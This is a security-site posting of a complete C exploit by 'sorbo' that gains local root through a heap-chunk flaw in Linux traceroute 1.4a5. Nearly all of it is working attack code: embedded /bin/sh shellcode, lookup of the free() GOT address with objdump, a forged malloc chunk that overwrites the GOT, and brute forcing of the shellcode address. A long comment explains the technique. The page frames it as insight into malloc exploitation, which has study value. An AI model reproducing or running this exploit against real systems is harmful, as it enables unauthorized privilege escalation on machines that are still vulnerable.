|
|
|
|
| |
| As we reported in our previous article: Traceroute flaw may lead to root compromise, a vulnerability in traceroute allows attackers to gain arbitrary code, leading to gaining of elevated privileges. The following exploit code is not new, but provides insight on how to exploit malloc related problems. |
| |
Credit:
The information has been provided by sorbo.
|
| |
The following Linux traceroute (version 1.4a5 and below) local root exploit takes advantage of a malloc chunk vulnerability and uses gdb to find the correct offset.
Exploit:
/*
* exploit for traceroute 1.4a5 by sorbo (sorbox@yahoo.com)
*
* WARNING: NOT PRIVATE!!! DISTRIBUTE EVERYWHERE ;D
*
* Advisory: Chris Evans
*
* Vulnerability class: malloc chunks
*
*
* The problem is in the implementation of freehostinfo(). To be exact, free(hi->name); is the problem.
* hi->hname is allocated via savestr() from gethostinfo().
*
* savestr() is a clone of strdup but uses less mallocs. It allocates one chunk and returns pointers withing that chunk.
* The problem is that freehostinfo assumes savestr acts as strdup, so it free()'s all pointers. Only one pointer will
* actually be malloc()ed (the first host), the others will just be pointers in that heap area. Thus, when these other
* pointers are free()ed, the application will segfault (because of an invalid malloc chunk... since there never was one).
*
* ie: traceroute -g 1 -g 2 will segfault.
*
* This because only space for 1 is malloced, whereas 2 has "allocated space" within the space of 1 (which is allocated with
* 1024 bytes and not only 17 or something).
*
* The idea is to create a valid memory chunk for the second host and another free memory chunk (so consolidation may occur)
* thus overwriting memory (free's GOT) to point to our shellcode (in argv or something).
*
*
* This is the memory initially (in bytes):
*
* [ hostinfo: 16] [ STRPTR: 1032 ] [ADDR 16 ]
*
* After the first round of free's:
* [ hostinfo: 16] [ ADDR2 16 ]
*
* notice that we have control over the STRPTR area and there is an aditional pointer which will be free()d now that
* lies in the STRPTR area (which is now "free").
*
* we need to create a fake chunk (one that seems allocated) for that second pointer (which is our second ip).
* This is how the "strptr" area looks like before the free
* [IP1:x ] [0] [IP2:x] [0]
* [ADDR2:16]
*
* We are interested in the 4 bytes before IP2 (size field of memory chunk).
* MSB will be 0.
* ADDR will overwrite IP1 (exactly 4 bytes and then pad with 0's).
* if we choose IP1 of length 7 (including null byte, eg:1.2.34), this will be structure of STRPTR:
*
* [IP1:6] [0] [IP2:x] [0]
* [ADDR2:4][0:12]
*
* The 8 bytes before IP2 (the chunk header) will be:
* [HI:1] [ADDR2:4] [0:3]
*
* This means that size will be determined by the last byte of the second ip.
*
* ADDR2 is allocated 16 bytes, thus
* We can set this to 16 (minimum chunk size) eg:1.2.3.17 (17 because we want PREV_INUSE set).
*
* This means that 8 bytes from the start of the second addr, free will expect another chunk header.
* that is EXACTLY after the ip address (we need to put a space here and fortunately space is even ascii code)
* so the prev_size will be even. All we do is set an even prevsize, -4 size, free GOT addr - 12 in fd and argv[5] (shellcode)
* addr in bg
*
* and... root =D
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
char shellcode[] =
/* jump around (effectivly like a "nop space" /2) */
"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
/* NOPS */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* the Aleph One shellcode */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define TRACEROUTE "/usr/sbin/traceroute"
#define OBJDUMP "/usr/bin/objdump"
/* ojbdump traceroute | grep free */
unsigned int FREE = 0; /* free() GOT address */
/* ltrace traceroute (and u have a starting addr to start guessing from ;D ) */
unsigned int SHELLCODE = 0; /* argv[5] of traceroute */
char *env[] = { NULL };
void usage(char *m) {
printf("Usage: %s [options]\n",m);
printf("-h\t\t\tthis lame message\n");
printf("-f <addr>\t\tfree() GOT addr\n");
printf("-s <addr>\t\ttraceroute's argv[5] addr\n");
printf("-b\t\t\tbrute force argv[5] addr\n");
printf("-n\t\t\tdon't test vuln\n");
exit(0);
}
void bruteforce(char *arg[], unsigned int *addr) {
int pid;
int status;
printf("Starting brute force from %x incrememting 1 byte each time\n",*addr);
printf("If it hangs... ur probably close ;D try skipping the value\n");
while(1) {
pid = fork();
if(pid < 0) {
perror("pid()");
exit(-1);
}
/* child */
if(pid == 0) {
execve(TRACEROUTE,arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
printf("Trying = %x\n",*addr);
wait(&status);
if(WIFEXITED(status) != 0)
break;
(*addr)++;
}
}
printf("Done...\n");
exit(0);
}
/* yes very lame n skript kiddie ;D */
unsigned int getGOT(char *symb) {
int pid;
int fd[2];
char buf[1024];
char *arg[] = { "/bin/sh", "-c", buf, NULL };
unsigned int addr = 0;
snprintf(buf,1024,"%s -R %s | grep %s",OBJDUMP,TRACEROUTE,symb);
printf("Attempting to fetch free() addr (make sure u got objdump)\n");
if(pipe(fd) <0) {
perror("pipe()");
exit(0);
}
pid = fork();
if(pid < 0) {
perror("fork()");
exit(0);
}
/* child */
if(pid == 0) {
dup2(fd[1],1);
dup2(fd[1],2);
close(fd[0]);
close(fd[1]);
execve("/bin/sh",arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
int rd;
close(fd[1]);
rd = read(fd[0],buf,1024);
if(rd < 1) {
perror("read()");
exit(0);
}
buf[rd] = 0;
sscanf(buf,"%x",&addr);
wait(NULL);
}
printf("Adress %x... does it sound good !?!?! ;D\n",addr);
return addr;
}
void checkVuln() {
int pid;
char *arg[] = { TRACEROUTE, "-g", "1","-g","1",NULL };
pid = fork();
if(pid < 0) {
perror("fork()");
exit(0);
}
/* child */
if(pid == 0) {
execve(TRACEROUTE,arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
int status;
printf("Checking vuln...\n");
wait(&status);
if(WIFEXITED(status) != 0) {
printf("NOT VULN!! override with -n\n");
exit(0);
}
}
printf("VULN!\n");
}
int main(int argc, char **argv) {
unsigned char egg[1024]; /* hope we don't overflow it ;D no bounds check!!! */
unsigned int *ptr;
int opt;
int checkvuln = 1;
int brute = 0;
char *arg[] = { "exploited", "-g","1.2.34","-g",egg,shellcode,NULL };
printf("Traceroute v1.4a5 exploit by sorbo (sorbox@yahoo.com)\n");
while( (opt = getopt(argc,argv,"f:s:hbn")) != -1) {
switch(opt) {
case 'f':
if(sscanf(optarg,"%x",&FREE) != 1) {
printf("Invalid free addr\n");
exit(-1);
}
break;
case 's':
if(sscanf(optarg,"%x",&SHELLCODE) != 1) {
printf("Invalid free addr\n");
exit(-1);
}
break;
case 'b':
brute = 1;
break;
case 'n':
checkvuln = 0;
break;
default:
case 'h':
usage(argv[0]);
}
}
if(checkvuln)
checkVuln();
/* ok all we need to construct is the second "ip" address */
strcpy(egg,"1.2.3."); /* start normal ;D */
/* SIZE OF FIRST CHUNK */
strcat(egg,"17"); /* 16 length... 17 so we set previnuse (we don't want to consolidate backwards */
/* PREVSIZE OF FREE CHUNK */
strcat(egg," "); /* by putting a space inet_addr will not fail and we can fill up with bullshit */
strcat(egg,"sex"); /* the space of before filled the LSB of the prevsize which we want even.. don't
* care about rest
*/
/* SIZE OF FREE CHUNK */
ptr = (unsigned int*)(egg+strlen(egg));
*ptr = -4; /* -4 so when it checks for is PREV_INUSE set for the "next" chunk it will actually check
* our freechunk's prev_inuse
*/
ptr++;
/* FD OF FREE CHUNK */
if(FREE == 0)
FREE = getGOT("free");
*ptr = FREE-12;
ptr++;
/* BK OF FREE CHUNK */
if(SHELLCODE == 0)
SHELLCODE = 0xC0000000 - strlen(TRACEROUTE) - strlen(arg[5]) -6; /* stack is argv[5] 0 traceroute 0 NULL */
*ptr = SHELLCODE;
ptr++;
*ptr = 0; /* the end */
printf("Lets ride...\n");
if(brute)
bruteforce(arg,ptr-1);
printf("Trying %x\n",SHELLCODE);
execve(TRACEROUTE,arg,env);
perror("execve()");
}
|
|
|
|
|